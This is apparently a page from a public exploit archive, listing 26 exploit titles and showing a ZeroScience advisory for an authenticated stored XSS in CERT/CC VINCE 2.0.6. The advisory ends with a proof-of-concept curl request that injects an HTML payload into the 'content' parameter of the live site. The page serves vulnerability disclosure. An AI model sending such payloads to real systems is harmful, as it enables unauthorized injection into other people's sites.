b165516b1b
26 changes to exploits/shellcodes/ghdb ABB Cylon Aspect 3.08.02 - PHP Session Fixation ABB Cylon FLXeon 9.3.4 - Cross-Site Request Forgery ABB Cylon FLXeon 9.3.4 - Default Credentials ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated) ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE) ABB Cylon FLXeon 9.3.4 - System Logs Information Disclosure ABB Cylon FLXeon 9.3.4 - WebSocket Command Spawning Netman 204 - Remote command without authentication qBittorrent 5.0.1 - MITM RCE CMU CERT/CC VINCE 2.0.6 - Stored XSS CyberPanel 2.3.6 - Remote Code Execution (RCE) GeoVision GV-ASManager 6.1.0.0 - Broken Access Control GeoVision GV-ASManager 6.1.1.0 - CSRF MagnusSolution magnusbilling 7.3.0 - Command Injection Nagios Log Server 2024R1.3.1 - API Key Exposure WebFileSys 2.31.0 - Directory Path Traversal flatCore 1.5 - Cross Site Request Forgery (CSRF) GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection MiniCMS 1.1 - Cross Site Scripting (XSS) NEWS-BUZZ News Management System 1.0 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS)
37 lines
No EOL
1.1 KiB
Text
37 lines
No EOL
1.1 KiB
Text
# Exploit Tile: CMU CERT/CC VINCE 2.0.6 - Stored XSS
|
|
# Vendor: Carnegie Mellon University
|
|
# Product web page: https://www.kb.cert.org/vince/
|
|
# Affected version: <=2.0.6
|
|
|
|
Summary: VINCE is the Vulnerability Information and Coordination
|
|
Environment developed and used by the CERT Coordination Center
|
|
to improve coordinated vulnerability disclosure. VINCE is a
|
|
Python-based web platform.
|
|
|
|
Desc: The framework suffers from an authenticated stored
|
|
cross-site scripting vulnerability. Input passed to the
|
|
'content' POST parameter is not properly sanitised before
|
|
being returned to the user. This can be exploited to execute
|
|
arbitrary HTML/JS code in a user's browser session in context
|
|
of an affected site.
|
|
|
|
Tested on: nginx/1.20.0
|
|
Django 3.2.17
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2025-5917
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5917.php
|
|
|
|
|
|
13.01.2023
|
|
|
|
--
|
|
|
|
|
|
$ curl -k https://kb.cert.org/vince/comm/post/CASE_NO \
|
|
> -H "Cookie: sessionid=xxxx" \
|
|
> -d 'content="><marquee>ZSL</marquee>%0A%0A&csrfmiddlewaretoken=xxx&paginate_by=10&reply_to=xxxxx' |